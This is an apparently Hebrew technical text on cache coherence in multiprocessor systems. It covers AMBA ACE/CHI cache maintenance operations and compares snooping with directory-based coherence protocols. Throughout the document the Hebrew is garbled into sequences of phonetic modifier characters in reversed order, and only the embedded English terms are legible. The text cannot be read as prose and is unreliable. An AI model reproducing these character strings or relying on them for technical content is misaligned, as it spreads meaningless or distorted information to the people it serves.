-scache ˢ ˸˶ˣ˷ ˭˩ˣ˸ ˸˞ ˭˧˦ˣ˪˥˪ ˱˧˪˥ˬ ˡˣ˵ˢ˷ ˭˧˟ˢ˪ ˡ˟˰ˬ˪ ˶˷˲˞ˬ ˢˤ .˫˧˯˲˞˟ ˸ˣ˞˪ˬ˸ˬ-cache ,

˴ ˭˧˞ ˭˩˪ˣ.˸˧ˮˣ˷˞˶ ˢ˞˧˶˵˟ ˨˶ˣ 

˪ ˵ˣ˵ˤ ˢ˸˞ ˫˞ :˷ˣˬ˧˷˪ ˢˬˠˣˡ-buffer  ˸˟˧˸˩ ˭˧˟ ˶ˣ˥˟˪ ˪˩ˣ˸ ,˷ˡ˥ ˢˮ˟ˬ ˪˥˸˞ˬ ˣ˞ ˪ˣˡˠ ˧ˮˬˤ ˭ˣ˯˥˞

 ˸ˣ˧ˣ˶˷˲˞ˢ ˧ˮ˷ .˷ˣˬ˧˷ˢ ˧ˮ˲˪ ˫˧ˮˣ˸ˮˢ ˪˷ ˷˞˶ˬ ˢˮ˧˰˦ ˰˴˟˧˷ ˡˣ˵ ˣ˞ ˭ˣ˶˩˧ˤ˟ ˷ˬ˸˷ˢ˪ ˪˧˥˸˧˷ ˡˣ˵

ˣ˷˞˶ˢ ˭˩ˣ˸ˢ ˸˞˧˶˵˟ ˭ˣ˶˩˧ˤ ˯˲ ˟˥ˣ˶˟ ˷ˣˬ˧˷˪ ˡ˟˰ˬˣ ˭ˬˤ ˣ˷˶ˡ˧˪ ˧ˮ-cache. 
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AMBA ACE/CHI  

 ˸˵ˣˤ˥˸ˣ ˫˧ˡ˟˰ˬCache  

 ˸˵ˣˤ˥˸ ˸ˣ˧˴˵ˤˮ˶˦˟ ˫˧˷ˬ˸˷ˬ ˫˧ˡ˟˰ˬcache ˢ ˸˞ ˵ˤ˥˸˪ˣ ˸˷ˠ˪ ˧ˡ˩-cache- ˫˧˶˥˞ ˫˧ˡ˟˰ˬ ˪˷ ˫˧

 ˸ˣ˪ˣ˰˲ ˪˷ ˢ˰˲˷ˢˢ ˸˞ ˸ˣ˞˶˪ ˫˧ˡ˟˰ˬ˪ ˸ˣ˶˷˲˞ˬ ˣ˪˞ ˢ˵ˣˤ˥˸ ˸ˣ˧˴˵ˤˮ˶˦ .˸˩˶˰ˬ˟load x-store  ˪˰

cache  ˸˵ˣˤ˥˸ ˸ˣ˧˴˵ˤˮ˶˦ .˸ˣ˶˥˞ ˫˧˩˶ˡ˟ ˣ˧˪˞ ˸˷ˠ˪ ˭˸˧ˮ ˞˪˷ ˸˩˶˰ˬcache ˪ ˫ˠ ˦˷˲˸ˢ˪ ˸ˣ˪ˣ˩˧-

cache-˟ ˫˧-downstreamˢ ˪˩ ˪˷ ˢ˵ˣˤ˥˸ ˶˷˲˞ˬ˷ ˢˬ ,-cache-.˸˩˶˰ˬ˟ ˫˧ 

 ˸˵ˣˤ˥˸ ˸˧˧˴˵ˤˮ˶˦ ˫ˤˣ˧ˢ ˡ˟˰ˬcache ˟ ˢˬ˧˞˸ˬˢ ˢ˪ˣ˰˲ˢ ˰ˣ˴˧˟˪ ˫ˠ ˧˞˶˥˞-cache .ˣ˪˷ ˧ˬˣ˵ˬˢ 

 ˸˵ˣˤ˥˸ ˸ˣ˧˴˵ˤˮ˶˦cache  

¶  ˸˧˧˴˵ˤˮ˶˦CleanShared ˢ ˪˰ ˧ˣ˵˧ˮ ˸˪ˣ˰˲ ˰˴˟˪ ˡ˟˰ˬ˪ ˸˶˷˲˞ˬ-cache- ˫˧˶˥˞ ˫˧ˡ˟˰ˬ ˪˷ ˫˧

˩ .˸˩˶˰ˬ˟ ˶˷˞cache  ˵˧ˤ˥ˬ˷ ˡ˟˰ˬ ˪˷cache line  ˸˧˧˴˵ˤˮ˶˦ ˪˟˵ˬ ˸˩˪˩ˣ˪ˬCleanShared ,

ˢ ˸˶ˣ˷ ˸˞ ˵˲˯˪ ˣ˧˪˰-cache ˢ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˢ˸ˣ˞ ˟ˣ˸˩˪ ˧ˡ˩-cache  ˣ˧˪˰ ˫˧˰˴˟ˬ˷snooping 

ˢ ˸˶ˣ˷ ˪˷ ˣ˪˷ ˧ˬˣ˵ˬˢ ˵˸ˣ˰ˢ ˸˞ ˶ˣˬ˷˪ ˪ˣ˩˧-cache. 

¶  ˸˧˧˴˵ˤˮ˶˦CleanInvalid ˵˧ˮ ˸˪ˣ˰˲ ˰˴˟˪ ˡ˟˰ˬ˪ ˸˶˷˲˞ˬˢ ˪˰ ˱˵ˣ˸ ˪ˣ˦˧˟ˣ ˧ˣ-cache- ˪˷ ˫˧

 ˶˷˞˩ .˸˩˶˰ˬ˟ ˫˧˶˥˞ ˫˧ˡ˟˰ˬcache  ˵˧ˤ˥ˬ˷cache line  ˸˧˧˴˵ˤˮ˶˦ ˪˟˵ˬ ˢ˧˧˵ˮCleanInvalid ,

ˢ ˸˶ˣ˷ ˪˷ ˣ˪˷ ˧ˬˣ˵ˬˢ ˵˸ˣ˰ˢ ˸˞ ˶˧˯ˢ˪ ˣ˧˪˰-cacheˢ ˫˞ .-cache  ˣ˧˪˰ ˫˧˰˴˟ˬ˷snooping 

 ˵˧ˤ˥ˬcache line ˢ ˸˶ˣ˷ ˸˞ ˵˲˯˪ ˷˶ˡˮ ˞ˣˢ ,˸˩˪˩ˣ˪ˬ-cache  ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˢ˸ˣ˞ ˟ˣ˸˩˪ ˧ˡ˩

.ˣ˪˷ ˧ˬˣ˵ˬˢ ˵˸ˣ˰ˢ ˸˞ ˶˧˯ˢ˪ˣ 

¶  ˸˧˧˴˵ˤˮ˶˦MakeInvalid ˢ ˪˰ ˱˵ˣ˸ ˪ˣ˦˧˟ ˸˪ˣ˰˲ ˰˴˟˪ ˡ˟˰ˬ˪ ˸˶˷˲˞ˬ-cache- ˫˧ˡ˟˰ˬ ˪˷ ˫˧

ˢ ˶˷˞˩ .˸˩˶˰ˬ˟ ˫˧˶˥˞-cache  ˣ˧˪˰ ˫˧˰˴˟ˬ˷snooping  ˸˧˧˴˵ˤˮ˶˦ ˪˟˵ˬMakeInvalid ˣ˧˪˰ ,

ˢ ˸˶ˣ˷ ˪˷ ˣ˪˷ ˧ˬˣ˵ˬˢ ˵˸ˣ˰ˢ ˸˞ ˶˧˯ˢ˪-cacheˢ ˸˶ˣ˷ ˫˞ ˫ˠ ,˫˧ˮˣ˸ˮ ˵˲˯˪ ˷˶ˡˮ ˣˮ˧˞ ˨˞ ,-

cache .˸˩˪˩ˣ˪ˬ 

Snoop  ϧDirectory  

 ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˶˸ˣ˧ ˸˴˵ ˫˧˲˷˲ˣ˷ˬ ˣˮ˥ˮ˞˷ ˧˶˥˞ ˣ˧˷˩˰cache ˢˡ˧ˬ˟ ˦ˣ˪˷˪ ˸˪ˣ˩˧ ˣˮ˪ ˷˧˷ ˣˮ˧˞˶ ˫ˠˣ ,

˸ˬ˧ˣ˯ˬ ˢ ˪˰-cache ˨˶ˣ˴˪ ˢ˪˧˰˧ ˨˶ˡ ˪˩ˣ ˢˤ ˸˞ ˸ˣ˷˰˪ ˫˧˩˶ˡ ˧ˮ˧ˬ ˪˩ ˷˧ ˣ˪˧˲˞ˣ ,˫˧ˣ˯ˬ ˶˷˲˞ ,

 ˸˞ ˵ˣˡ˟ˮˣ ˢˤ ˸˞ ˫˧˷ˬˬ ˫˧ˡ˟˰ˬˢ ˨˧˞ ˭˧˟ˢ˪ ˸˴˵ ˪˧˥˸ˮ .ˢ˩˩ ˫˧˞˶ˮ ˫˧˶˟ˡˢ ˢˬ˪ ˸ˣ˞˶˪ˣ ˵˧ˬ˰ˢ˪

.(˫ˢˬ ˡ˥˞ ˸ˣ˥˲˪ ˣ˞) ˣ˸˧˞ ˫˧ˡ˟ˣ˰ ˫ˢ˷ ˪ˣ˵ˣ˦ˣ˶˲ˢ 
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 ˪ˣ˵ˣ˦ˣ˶˲Snooping  

 ˭ˣˮˠˮˬSnooping ˢˬ ˡ˥˞ ˪˩ ˣ˟˷ ˭ˣˮˠˮˬ ˞ˣˢ-cache- ˧ˡ˩ ˸ˣˬ˧ˣ˯ˬ ˸˟ˣ˸˩ ˸ˣ˶ˣ˷ ˧˶˥˞ ˟˵ˣ˰ ˸˩˶˰ˬ˟ ˫˧

˟ ˸ˣ˶ˣˬ˷˷ ˭ˣ˶˩˧ˤ ˸ˣ˶ˣ˷ ˫˞ ˸ˣˢˤ˪-cache ˸ˣˮ˸˷ˬ ˣ˞ ˸ˣ˷˧ˠˮ ˣ˪˷  ˧˪ˣ˵ˣ˦ˣ˶˲ .˫˧˶˥˞ ˫˧ˡ˟˰ˬ ˧ˡ˧ ˪˰

 ˧˪ˣ˵ˣ˦ˣ˶˲ ˣˬ˩ ˸ˣ˧˦ˮ˶ˢˣ˵invalidate  ˧˪ˣ˵ˣ˦ˣ˶˲ˣupdate .ˢˤ ˭ˣˮˠˮˬ˟ ˫˧˷ˬ˸˷ˬ 

 ˪ˣ˵ˣ˦ˣ˶˲snooping  ˪˰ ˯˯˟˸ˬbus ˢ ˪˩ ˭˧˟ ˶˟˥ˬ˷ ˱˸ˣ˷ˬ-cache- ˶˷˞˩ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˭˧˟˪ ˫˧

˪ ˢ˟˧˸˩ ˰˴˟ˬ ˡ˟˰ˬ-cache ˮ˧˷ ˶˟˰˷ ˵ˣ˪˟ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˶ˡ˷ˬ ˞ˣˢ ,ˣ˪˷ˢ ˪˞ ˧ˣ-bus ˫˧ˡ˟˰ˬ .

˟ ˵ˣ˪˟ˢ ˣ˸ˣ˞ ˪˷ ˵˸ˣ˰ ˫˸ˣ˷˶˟˷ ˫˧˶˥˞-cache  ˧ˣ˪˸ ,ˣ˸ˣ˞ ˭˩ˡ˰˪ ˣ˞ ˵˸ˣ˰ˢ ˸˞ ˪˦˟˪ ˶ˣ˥˟˪ ˫˧˪ˣ˩˧

 ˯˯ˣ˟ˬ ˪ˣ˵ˣ˦ˣ˶˲) ˷ˣˬ˧˷˟ ˸˞˴ˬˮ˷ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˯˶ˠ˟invalidate  ˯˯ˣ˟ˬ ˣ˞update ˧˶˵˧˰ˢ ˭ˣ˶˸˧ˢ .(

˶˲˯ˬ ˫˰ ˰˧ˠˬ ˞ˣˢ ˨˞ ,ˣ˪˷ ˸ˣ˶˧ˢˬˢˣ ˸ˣ˦˷˲ˢ ˞ˣˢ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ :˸ˣˮˣ˶˯˥ 

¶ s-bus ˪ ˢ˷˧ˠˢˣ ˫˧ˡ˟˰ˬˢ ˶˲˯ˬ˷ ˪˩˩ ˵ˣ˟˵˟ ˶˞ˣˣ˴˪ ˨ˣ˲ˢ˪ ˪ˣ˪˰-cache-.˫˧˪ˡˠ ˫˧ 

¶ ˢ ˪˩˷ ˷˶ˣˡ ˪ˣ˵ˣ˦ˣ˶˲ˢ-cache-ˢ ˸˶ˣ˟˰˸ ˶˥˞ ˭ˬˤˢ ˪˩ ˣ˟˵˰˧ ˫˧-bus ˪ˬ˷˥ ˸˩˧˶˴˪ ˪˧˟ˣˬˢ ˶˟ˡ ,

.˶˟ˠˣˬ ˯˲ ˟˥ˣ˶ˣ 

¶ ˢ ˭ˢ˟˷ ,˸ˣ˶ˤˣ˟ˬ ˸ˣ˩˶˰ˬ˪ ˫˧˞˸ˬ ˣˮ˧˞ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲-bus .˸˶ˣ˷˵˸ ˸˷˶˟ ˱˪˥ˣˬ 

 ˸ˣ˦˷˲ˢ ˭ˢ˟ ,˫˧ˡ˟˰ˬ ˪˷ ˭˦˵ ˶˲˯ˬ ˫˰ ˸ˣ˩˶˰ˬ˟ ˷ˣˬ˧˷˪ ˫˧˞˸ˬ ˭˧˧ˡ˰ ˪ˣ˵ˣ˦ˣ˶˲ˢ ,˸ˣˮˣ˶˯˥ˢ ˸ˣ˶ˬ˪

 ˢ˷˧ˠ˟ ˨˶ˣ˴ ˷˧ ˫ˢ˟˷ ˫˧ˬˣ˷˧˧˟ ˣ˞ ˸ˬ˞ ˭ˬˤ˟ ˸ˣ˩˶˰ˬ˟ ˧˷ˣˬ˧˷ ˞ˣˢ ,˭˩ ˣˬ˩ .ˣ˧˸ˣ˪˟ˠˬ ˪˰ ˢ˲˧ˡ˰ ˣ˪˷

 ˫˰ˣ ˢ˶˧ˢˬlatency .˫˧˲˸ˣ˷ˬ ˫˧ˮˣ˸ˮ˪ ˨ˣˬˮ 

 ˧˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˣ˧˦ˮ˶ˢˣ˵snooping  

 ˧˪ˣ˵ˣ˦ˣ˶˲snooping ˧˟˵ˣ˰ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟ ˪˩ :ˡ˥˞ ˧ˤ˩˶ˬ ˭ˣ˶˵˧˰ ˪˰ ˫˧˯˯ˣ˟ˬ ˸ˣ˷˵˟ ˶˥˞ ˫

) ˸ˣ˧˦ˮ˶ˢˣ˵ˢsnoop .˸˩˶˰ˬ˟ ˫˧ˮˣ˸ˮˢ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˢ˶˧ˬ˷˪ ˸ˬ˞ˣ˸ˬ ˢ˶ˣ˴˟ ˫˧˪˰ˣ˲ˣ ,ˡ˧˥˞ ˶ˡ˯˟ (

 ˧˶˵˟˪ ˶˷˲˞ˬ ˪ˣ˵ˣ˦ˣ˶˲ˢ ,˰ˣ˟˵ ˶ˡ˯ ˧˲˪ ˣ˰˧˲ˣ˧ ˭ˣ˸ˮ ˵ˣ˪˟ ˶ˣ˟˰ ˸ˣ˪˟˵˸ˬˢ ˸ˣ˷˵˟ˢ ˪˩˷ ˨˩ ˧ˡ˧ ˪˰

˫˧˟˴ˬˢ ˸ˮˣ˩ˬ˪ ˢˬ˞˸ˢ ˨ˣ˸ ,˭ˣ˩ˮ ˭˲ˣ˞˟ ˫˟˴ˬ ˸˞ ˭˩ˡ˰˪ ˫˧˶ˤˣ˟ˬˢ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ  ˸˶˞˸ˬˢ ˸˲˸ˣ˷ˬˢ

ˢ ˵ˣ˪˟ ˪˷ ˟˴ˬˢ ˸˞-cache .˭ˣ˸ˮ ˰ˠ˶ ˪˩˟ 

 ˧˪ˣ˵ˣ˦ˣ˶˲˟snooping  ˫ˤ˧˷ ˶˵˟ˢ ˪˪ˣ˩ ,˸˩˶˰ˬ˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟ ˪˩˪ ˸˶ˡˣ˷ˬ ˢ˷˵˟ ˪˩ ,˫˧˧˸˶ˣ˯ˬ

 ˣˬ˩ ,˸˶ˡˣ˯ˬ ˶ˣˡ˧˷ ˸˷˶ ˨˶ˡ ˟ˣ˶˪ ˸ˣ˥˪˷ˮ ˢ˪˞ ˸ˣ˷˵˟ .ˢ˷˵˟ˢ ˸˞bus ˧˶˵˟ ˪˩˷ ˢ˥˧˦˟ˬ˷ ,

˯ ˣ˸ˣ˞˟ ˸ˣ˷˵˟ˢ ˸˞ ˣ˪˟˵˧ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˣ˷˵˟˪ ˪˪ˣ˩ ˶ˡ˯ ˪˷ ˸˩˶˰ˬ ˸˶˴ˣˮ ,˶ˬˣ˪˩ .˵ˣ˧ˡ˟ ˶ˡ

.˱˴˶ ˣ˸ˣ˞˟ ˸ˣ˪ˣ˰˲ ˪˷ ˢ˶ˡ˯ ˢ˸ˣ˞˟ ˢ˲˴˧ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ ˪˩˷ ˢ˥˧˦˟ˬˢ ,˸ˣ˧˦ˮ˶ˢˣ˵ˢ 

 ˪˷ ˟˴ˬˢ ˸˞ ˸˵˧ˣˡˬ ˢ˶ˣ˴˟ ˭˩ˡ˰˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ ˪˩˪ ˶˷˲˞ˬ ˢˤˢ ˪˪ˣ˩ˢ ˶ˡ˯ˢcache  ˶˥˞ˬ ,˵ˣ˪˟

 ˸ˣ˶˥˞ ˸ˣ˪ˣ˰˲˪ ˣ˞ ˫ˬˣ˵˧ˬ˪ ˶˷˵ ˞˪˪ ,˫˧˶˵˟ˢ ˪˩˪ ˸ˣ˪ˣ˰˲ ˸˶ˡ˯ ˢ˸ˣ˞ ˪˰ ˸ˣ˯˯˟˸ˬ ˸ˣ˦˪˥ˢˢ˷

.˸˩˶˰ˬ˟ ˪˧˟˵ˬ˟ ˸ˣ˷˥˶˸ˬ˷ 
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 ˡ˴˧˩Snooping  ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˷˵˟ ˪˷ ˪˪ˣ˩ ˶ˡ˯˟ ˧ˣ˪˸ 

 ˧˪ˣ˵ˣ˦ˣ˶˲Snooping ˢ ˸ˣ˷˵˟ ˪˩ ˪˷ ˪˪ˣ˩ ˶ˡ˯ ˪˷ ˣˬˣ˧˵ ˪˰ ˫˧˯˯ˣ˟ˬ ˫˧˧˸˶ˣ˯ˬ .˸˩˶˰ˬ˟ ˸ˣ˧˦ˮ˶ˢˣ˵

 ˶ˡ˯ ˪˰ ˯˯˟˸ˢ˟ ,ˢ˪˟˵˸ˢ ˸ˬ˧ˣ˯ˬ ˢ˷˵˟ ˧˸ˬ ˰ˣ˟˵˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ ˪˩˪ ˶˷˲˞ˬ ˢˤˢ ˶ˡ˯ˢ

snooping .˫˧˶˵˟ˢ ˪˩ ˭˧˟ ˭˶˩ˮ˯ˬ˷ ˧ˠˣ˪ 

 ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˸˪ˣ˩˧ˢsnooping  ˣ˸ˣ˞ ˡ˥˧˧ˬ˷ ˢˬ ˞˧ˢ ˸ˣ˷˵˟ˢ ˸˰ˠˢ ˶ˡ˯ ˸˞ ˱˧˵˰ ˭˲ˣ˞˟ ˸ˣˢˤ˪

 ˧˪ˣ˵ˣ˦ˣ˶˲ˬdirectory˶ˣ˲ˬ ˟˵˰ˬ ˷˶ˡˮ ˫ˢ˟˷ ,.ˢ˷˵˟ ˪˩ ˶˥˞ ˷ 

 ˸˷˶ ,˪˪ˣ˩ ˶ˡ˯˪ ˸˞ˤˢ ˢ˷˧˶ˡˢ ˸˞ ˫˷˧˧˪ ˧ˡ˩interconnect  ˪ˣ˵ˣ˦ˣ˶˲˟snooping  ˪˩ ˸˞ ˭ˠ˶˞˪ ˢ˩˧˶˴

ˣ˟ ˸ˣ˷˵˟ ˞˧˴ˣˢ˪ ˫˧˪ˣ˩˧ ˫˧ˮˣ˷ ˫˧˶˵˟˷ ˶˥˞ˬ .˰ˣ˟˵ ˶ˡ˯˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˣ˷˵˟- ˸˟˧˧˥ ˸˷˶ˢ ,˸˧ˮˬˤ

 ˪˲˦˪˱ˣˡ˰˧˸˟ ) ˢ˶ˡ˯ˢ ˸ˡˣ˵ˮ˟ ˸ˣ˷˵˟ˢ ˶ˣˡ˧˯ˣserialization point˩ .( ˥˪ˣ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ ˶˷˞

 ˸˷˶ ,˸ˣ˧˦ˮ˶ˢˣ˵ ˸˷˵˟interconnect  ˥˪˷˷ ˶˵˟ˢˣ ,˫˧˶˵˟ˢ ˪˩˪ ˢ˸ˣ˞ ˸˶ˡ˷ˬ ,ˢ˷˵˟ˢ ˸˞ ˸ˮ˧˧ˬˬ

.˪˟˵ˬ ˞ˣˢ˷ ˸ˣ˷˵˟ˢ ˫˶ˤ˟ ˢ˧˧˲˴ ˧ˡ˧ ˪˰ ˢ˪˷ ˢ˰ˠˢˢ ˶ˡ˯ ˢˬ ˡˬˣ˪ ,ˢ˷˵˟ˢ ˸˞ 

 ˪˰ ˸˯˯ˣ˟ˬˢ ˸˩˶˰ˬ ,˪˷ˬ˪bus ˟ ˸˷ˬ˸˷ˬ-bus .˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˣ˷˵˟ ˪˩ ˪˷ ˶ˡˣ˯ˬ ˶ˣˡ˧˷˪ ˣˬ˴˰  ˪˩

.˸ˣ˧˦ˮ˶ˢˣ˵ ˸˶˧ˬ˷ ˪˰ ˪˵ˬ˷ ˢˬ ,ˡ˧˥˞ ˶ˡ˯˟ ˫˧˶˵˟ˢ ˪˩˪ ˸˶˟ˣ˰ ˸˥˪˷ˮ˷ ˢ˷˵˟ 

 ˧˪ˣ˵ˣ˦ˣ˶˲ ˶ˣ˟˰ ˸˶ˡˣ˯ˬ ˶ˣˡ˧˷ ˸˷˶˪ ˢ˷˧˶ˡˢ ,˫˪ˣ˞snooping  ˪˧˰˧ ˞˪ˣ ˶˵˧˪ ˷ˣˬ˧ˬˢ ˸˞ ˸˩˲ˣˢ

 ˧˪ˣ˵ˣ˦ˣ˶˲ ˸˶˷˪ ˸ˣ˪ˣ˩˧˷ ˶˸ˣ˧ ˸ˣ˪ˣˤˣ ˸ˣ˦ˣ˷˲ ˸ˣ˸˷˶˪ ˢ˞ˣˣ˷ˢ˟directory ˫˰ ˸ˣ˪ˣˡˠ ˸ˣ˩˶˰ˬ˟ ,˦˶˲˟ .

˟˶ ˶˲˯ˬ  ,˸ˣ˟˧˪ ˪˷snooping  ˶ˣˡ˧˷˪ ˸˷˶ˡˮˢ ˸˷˶ˢ ˪˷ ˯˲ˢ ˟˥ˣ˶ ˸ˮ˧˥˟ˬ ˭ˢ ,˵ˣ˟˵˟ ˶˞ˣˣ˴ ˶˴ˣ˧

 ˸ˣ˩˶˰ˬ ,˨˩ ˪˷˟ .˸ˣ˷˵˟ˢ ˪˩ ˧˶˥˞ ˟ˣ˵˰˪ ˫˧˩˧˶˴˷ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟ ˪˰ ˯ˬˣ˰ˢ ˸ˮ˧˥˟ˬ ˭ˢˣ ,˸ˣ˷˵˟ˢ

 ˸ˣ˪˰˟scalability  ˧˪ˣ˵ˣ˦ˣ˶˲ ˥ˣ˸˧˲˪ ˪˧˟ˣˢ ˢˤˢ ˨˶ˣ˴ˢˣ ,˶˸ˣ˧ ˪˧˰˧ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ ˸ˣ˷˶ˣˡ

directory. 

 ,˸˞ˤ ˫˰snooping ˪ ˸ˣ˪˧˰˧ˢ ˸ˣ˵˧ˮ˩˦ˢ ˸˥˞ .˸ˣ˪ˣˡˠ ˸ˣ˩˶˰ˬ˟ ˫ˠ ˭ˣ˶˸˲ˢˬ ˵˪˥ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˭˧˧ˡ˰-

scalability  ˞˧ˢñ˪ˣ˷ˬˣ ˡ˶˲ˢ .ò ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ,˸ˣ˟˧˪ ˧˟ˣ˶ˬ ˫˧˟˟˷ ˸˪˪ˣ˩ˢ ˸˩˶˰ˬ˟ ,ˢˬˠˣˡ˪

˲˟ ˪ˣ˵ˣ˦ˣ˶snooping  ˪ˣ˵ˣ˦ˣ˶˲˷ ˡˣ˰˟ ,˟˟˷ ˪˩ ˨ˣ˸˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˢ˶˧ˬ˷˪directory  ˪˲˦ˬ

.˸ˣ˦˧˷ˢ ˧˸˷ ˪˷ ˸ˣˮˣ˶˸˧ˢ ˭˧˟ ˟˪˷˪ ˸˶˷˲˞ˬ ˣˤ ˢ˷˧ˠ .˫˧˟˟˷ˢ ˭˧˟ ˸ˣ˧˦ˮ˶ˢˣ˵˟ 

 ˯˯ˣ˟ˬ ˪ˣ˵ˣ˦ˣ˶˲Directory  

 ˯˯ˣ˟ˬ ˪ˣ˵ˣ˦ˣ˶˲˟directory ˞˶˵ˮˢ ˶ˤˣ˟ˬ ˣ˞ ˧ˤ˩˶ˬ ˟˧˩˶ ˣˮ˷˧ ,directory ˟˵˰ˬˢ ˪ˣˢ˧ˮ˪ ˧˞˶˥˞ ˶˷˞ ,

ˢ ˧˵ˣ˪˟ ˪˩ ˪˷ ˫ˬˣ˵˧ˬˣ ˫˟˴ˬ ˶˥˞-cache  ˫˧ˣ˯ˬ ˵ˣ˪˟ ˟ˣ˸˩˪ ˣ˞ ˞ˣ˶˵˪ ˷˵˟ˬ ˡ˟˰ˬ ˶˷˞˩ .˸˩˶˰ˬ˟

-˟cache˪ ˢ˷˵˟ ˥˪ˣ˷ ˞ˣˢ ,-directoryˢ .-directory  ˣ˞ ˶˷˞˪ ˫˞ ˦˧˪˥ˬˣ ˵ˣ˪˟ˢ ˪˰ ˰ˡ˧ˬˢ ˸˞ ˵ˡˣ˟

 ˫˧˶˥˞ ˫˧ˡ˟˰ˬ˪ ˷˵˟ˬˢ ˡ˟˰ˬˢ ˭˧˟ ˸˶ˣ˷˵˸ˢ ˸˞ ˸ˬ˞ˬ ,˨˶ˣ˴ˢ ˸ˡ˧ˬ˟ˣ ,ˢ˷˵˟ˢ ˸˞ ˸ˣ˥ˡ˪

.˵ˣ˪˟ˢ ˪˷ ˫˧˵˸ˣ˰ ˫˧˵˧ˤ˥ˬ˷ 
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-sdirectory ˣ˶˩˧ˤˢˬ ˨˶˰ ˭ˣ˰˦˪ ˭˧˧ˮˣ˰ˬ˷ ˡ˟˰ˬ ˪˩ˣ ,˨ˣˣ˸ˬ ˭˧˰ˬ˩ ˪˰ˣ˲˪ ˧˷˞˶ˢ ˭-cache  ˷˵˟˪ ˟˧˧˥ ˣ˪˷

ˢˬ ˸ˣ˷˶-directory. 

ˢ ,˫˧ˡ˟˰ˬˢˬ ˡ˥˞ ˧ˡ˧ ˪˰ ˢˮ˸˷ˬ ˭ˣ˶˩˧ˤ˟ ˨˶˰ ˶˷˞˩-directory ˢ ˶˞˷ ˸˞ ˭˩ˡ˰ˬ-cache- ˫˧˵˧ˤ˥ˬ˷ ˫˧

 ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲˪ ˫˞˸ˢ˟ ,˫ˢ˪˷ ˫˧˵˸ˣ˰ˢ ˱˵ˣ˸ ˸˞ ˪˦˟ˬ ˭˧˲ˣ˪˥˪ ˣ˞ ,˨˶˰ ˣ˸ˣ˞ ˪˷ ˫˧˵˸ˣ˰

ˢ ˨˩˟ .˷˶ˡˮˢ-directory  ˪˩˷ ˥˧˦˟ˬ-scache- ˶˯ˣ˥ ˪˷ ˫˧˟˴ˬˬ ˣ˰ˮˬ˧ˣ ˫˧ˮ˶˩ˮˣ˯ˬ ˣ˶˞˷˧˧ ˸˩˶˰ˬ˟ ˫˧

.˫˧ˮˣ˸ˮ˟ ˸ˣ˧˦ˮ˶ˢˣ˵ 

 ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˸ˣ˪˟ˠˬˢˬ ˵˪˥ ˪˰ ˶˟ˠ˸ˢ˪ ˥˧˪˴ˬ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲snooping: 

¶ ˢ˶ˣ˟˰˸ ˯ˬˣ˰ ˸˸˥˲ˢ˟ ˢ˶ˣ˟˰˸ˢ :-bus  ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧ˡ˟˰ˬˢ ˵˶˷ ˭ˣˣ˧˩ˬ ,˸ˬ˴ˬ˦˴ˬ ˸˷˶˟ ˣ˞

˟ ˣˬ˩ ˸˩˶˰ˬ˟ ˫˧ˡ˟˰ˬˢ ˪˩ ˞˪ˣ ,ˢ˪ˣ˰˲ ˪˩˟ ˫˧˟˶ˣ˰ˬ-snooping. 

¶  ˶ˣ˲˧˷scalabilityˢ :-directory  ˢ˩˧ˬ˸ ˶˷˲˞ˬ˷ ˢˬ ,˫˧˸ˬ˴ ˶˲˯ˬ ˧ˮ˲ ˪˰ ˶ˤˣ˟ˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧

.˫˧ˡ˟˰ˬ ˪˷ ˟˶ ˶˲˯ˬ ˫˰ ˶˸ˣ˧ ˸ˣ˪ˣˡˠ ˸ˣ˩˶˰ˬ˟ 

¶ ˸ˣ˷˧ˬˠ˸ˣ˧ˮ˧ˡˬ ˫˷˧˧˪ ˭˸˧ˮ : .˫ˣ˷˧˧ˢ ˧˩˶ˣ˴˪ ˫˞˸ˢ˟ ,˫˧ˮˣ˷ ˭ˣ˶˩˧ˤ ˧˶ˣˤ˞ ˶ˣ˟˰ ˸ˣˮˣ˷ 

 ˯˯ˣ˟ˬ ˪ˣ˵ˣ˦ˣ˶˲˪ ˸ˣˮˣ˶˯˥ ˫ˠ ˫ˮ˷˧ ,˸˞ˤ ˫˰directory: 

¶ ˸˧ˤ˩˶ˬ ˪˷˩ ˸ˡˣ˵ˮ ˫˰ ˸ˣ˩˶˰ˬ˟ :directory ˢ ˫˞ .˸ˡˡˣ˟ ˢ˲˶ˣ˸ ˸ˡˣ˵ˮ ˢˣˣˢˬ ˟˧˩˶ˢ ,˧ˤ˩˶ˬ-

